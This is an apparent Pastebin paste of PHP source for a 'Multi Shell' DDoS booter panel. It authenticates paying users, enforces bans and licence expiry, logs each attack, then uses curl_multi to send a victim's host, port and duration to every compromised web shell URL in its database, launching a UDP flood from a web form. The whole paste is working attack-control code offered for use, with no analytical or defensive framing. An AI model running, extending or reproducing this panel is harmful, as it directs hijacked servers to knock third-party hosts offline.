Advertisement
Guest User

Untitled

a guest
Jul 27th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.90 KB | None | 0 0
  1. <?php
  2. /***************************************************
  3. **** ========================================== ****
  4. **** Multi Shell! ****
  5. **** Coding by Orgy ****
  6. **** Nice Looking Code? Of course ****
  7. **** Because there's beauty in the breakdown. ****
  8. **** ========================================== ****
  9. ***************************************************/
  10. /*
  11. Following code is to authorize someone's acccount before sending the shells
  12. */
  13. if((isset($_GET['host'])) and (isset($_GET['port'])) and (isset($_GET['time'])) and (isset($_GET['username'])) and (isset($_GET['password']))){
  14. include "config.php";
  15. $link = mysql_connect($location,$databaseuser,$databasepass);
  16. @mysql_select_db($database) or die( "Unable to select database"); //Connects to database
  17. $username = $_GET['username']; //gets username from url
  18. $password = $_GET['password']; //gets password from url
  19. $username = stripslashes($username); //MySQL Injection Protection
  20. $username = mysql_real_escape_string($username); //MySQL Injection Protection
  21. $password = stripslashes($password); //MySQL Injection Protection
  22. $password = mysql_real_escape_string($password); //MySQL Injection Protection
  23. if(isset($_GET['web'])){
  24. $password = md5($password);
  25. }
  26. if($username==""){ //if username is blank, then show the blank username error
  27. echo $blankuser;
  28. }elseif($password=="da39a3ee5e6b4b0d3255bfef95601890afd80709"){ //if password is blank, then show the blank password error
  29. echo $blankpass;
  30. }else{
  31. $sql="SELECT * FROM Users WHERE username='$username' and password='$password'"; //tries logging in
  32. $result=mysql_query($sql);
  33. $count=mysql_num_rows($result);
  34. if($count==1){ //goes here if logged in successfully
  35.  
  36.  
  37. $banreasondata = mysql_query("SELECT CustomReason FROM Users WHERE username='$username' AND password='$password'");
  38. while($banreasoninfo = mysql_fetch_assoc($banreasondata)) { //gets the data of the custom ban message
  39. $banreason = $banreasoninfo["CustomReason"]; //gets the result
  40. }
  41.  
  42. $banneduntil = mysql_query("SELECT BannedUntil FROM Users WHERE username='$username' AND password='$password'");
  43. while($banneduntill = mysql_fetch_assoc($banneduntil)) { //gets the data of the custom ban message
  44. $banned = $banneduntill["BannedUntil"]; //gets the result
  45. }
  46.  
  47. $ban = strtotime($banned);
  48. if($ban > time()){
  49. ?>
  50. <html>
  51. <center>
  52. <?PHP
  53. echo "You have been banned until: " . $banned . "<br/>For: " . $banreason;
  54. die();
  55. ?>
  56. </html>
  57. </center>
  58. <?PHP
  59. }
  60.  
  61. $expires = mysql_query("SELECT Expires FROM Users WHERE username='$username' AND password='$password'");
  62. while($expiresdata = mysql_fetch_assoc($expires)) { //gets data to see expiration date of user
  63. $dateexpired = $expiresdata["Expires"]; //gets the expired date
  64. }
  65.  
  66.  
  67. $blacklistdata = mysql_query("SELECT Blacklisted FROM Users WHERE username='$username' AND password='$password'");
  68. while($blacklist = mysql_fetch_assoc($blacklistdata)) { //gets data to see if user is blacklisted
  69. $blacklisted = $blacklist["Blacklisted"]; //gets the result
  70. }
  71. $blacklisted = strtolower($blacklisted);
  72. $today = time(); //gets today's date
  73. $expiration_date = strtotime($dateexpired);
  74. if($expiration_date > $today){ //if your not expired then
  75. if($blacklisted=="yes"){ //if your blacklisted then
  76. echo $blacklistedmessage . $banreason; //showing blacklisted/banned message
  77. die();
  78. }
  79. }else{ //your expired
  80. if($blacklisted=="yes"){ //are you expired and black listed?
  81. echo $licenseexpired . "\n" . $blacklistedmessage . $banreason; //shows licensed expired and ban message
  82. die();
  83. }else{ //Your licensed expired, but your not banned
  84. echo $licenseexpired;
  85. die();
  86. }
  87. }
  88. }else{
  89. echo "<center>Wrong info!</center>";
  90. die();
  91. }
  92. }
  93. $host = $_GET['host']; //Set the host GET to an easier to use variable
  94. $port = $_GET['port']; //Set the port GET to an easier to use variable
  95. $time = $_GET['time']; //Set the time GET to an easier to use variable
  96. $host = stripslashes($host); //MySQL Injection Protection
  97. $host = mysql_real_escape_string($host); //MySQL Injection Protection
  98. $port = stripslashes($port); //MySQL Injection Protection
  99. $port = mysql_real_escape_string($port); //MySQL Injection Protection
  100. $time = stripslashes($time); //MySQL Injection Protection
  101. $time = mysql_real_escape_string($time); //MySQL Injection Protection
  102. $date = date('Y-m-d H:i:s', time());
  103.  
  104.  
  105. $lastbooted = mysql_query("SELECT LastBoot FROM Users WHERE username='$username' AND password='$password'");
  106. while($lastboots = mysql_fetch_assoc($lastbooted)) { //gets data to see expiration date of user
  107. $lastboot = strtotime($lastboots["LastBoot"]); //gets the expired date
  108. }
  109. $timenow = time() - 60;
  110. if($lastboot > $timenow){
  111. $timeleft = $lastboot - time() + 60;
  112. echo "Sorry, but you cant boot for another " . $timeleft . " second(s).";
  113. die();
  114. }
  115. mysql_query("INSERT INTO Boot_Log (User, Password, IP_Booted, Port, Date, Time_Booted)
  116. VALUES ('$username', '$password', '$host', '$port', '$date', '$time')");
  117. mysql_query("UPDATE Users SET LastBoot = '$date'
  118. WHERE UserName = '$username' AND Password = '$password'");
  119. mysql_close($link);
  120. include_once("db.php"); //Include the database connection
  121. $fullcurl = "?host=".$host."&time=".$time."&port=".$port; //GET data for the cURL handler
  122. ignore_user_abort(TRUE); //Let the page be exited and the script continue
  123. $SQL = mysql_query("SELECT url FROM shells"); //Select the shells
  124. $mh = curl_multi_init(); //Initialize the multi_handle
  125. $handles = array(); //Create an array for the handles
  126.  
  127. while($resultSet = mysql_fetch_array($SQL)){ //While fetching the rows
  128. $ch = curl_init($resultSet['url'] . $fullcurl); //Load the urls and send GET data
  129. curl_setopt($ch, CURLOPT_TIMEOUT, 10); //Only load it for 10 seconds (Long enough to send the data, can reduce this if your server is more powerful)
  130. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //Don't echo the contents of the cURL shit
  131. curl_multi_add_handle($mh, $ch); //Add the handles to the multi_handle
  132. $handles[] = $ch; //Load the array into a handle
  133. }
  134.  
  135. $running = null; // Create a status variable so we know when exec is done.
  136. do { //execute the handles
  137. curl_multi_exec($mh,$running); // Call exec. This call is non-blocking, meaning it works in the background.
  138. usleep(200000); // Sleep while it's executing. You could do other work here, if you have any.
  139. } while ($running > 0); // Keep going until it's done.
  140.  
  141. foreach($handles as $ch) // For loop to remove (close) the regular handles.
  142. {
  143. curl_multi_remove_handle($mh, $ch); // Remove the current array handle.
  144. }
  145. curl_multi_close($mh); // Close the multi handle
  146.  
  147. echo "Successfully sent to all shells"; //Successful. Tell the client to start the timer if you want to implement that
  148. if(!isset($_GET['web'])){
  149. die();
  150. }
  151. }
  152. ?>
  153.  
  154. <html>
  155. <body>
  156. <center>
  157.  
  158. <?php
  159. /*
  160. *Ignore how shitty this code is.
  161. *I absolutely HATE HTML.
  162. *It's functional. So yeah.
  163. *If you need it secured better
  164. *Which you shouldn't if you keep it private
  165. *But if you do
  166. *You can pay me.
  167. *And I'll do it
  168. */
  169. include("top.php");
  170. echo '<br><b>UDP Flood</b><br>
  171. <form action=? method=GET>
  172. <input type="hidden" name="action" value="boot">
  173. <input type="hidden" name="web" value="1">
  174. Username: <br><input type=text name=username value=><br>
  175. Password: <br><input type=password name=password value=><br>
  176. Host: <br><input type=text name=host value=><br>
  177. Length (seconds): <br><input type=text name=time value=><br>
  178. Port (rand for random) : <br><input type=text name=port value=rand><br>
  179. <input type=submit value=Go></form>';
  180. ?>
  181. </center>
  182. </body>
  183. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement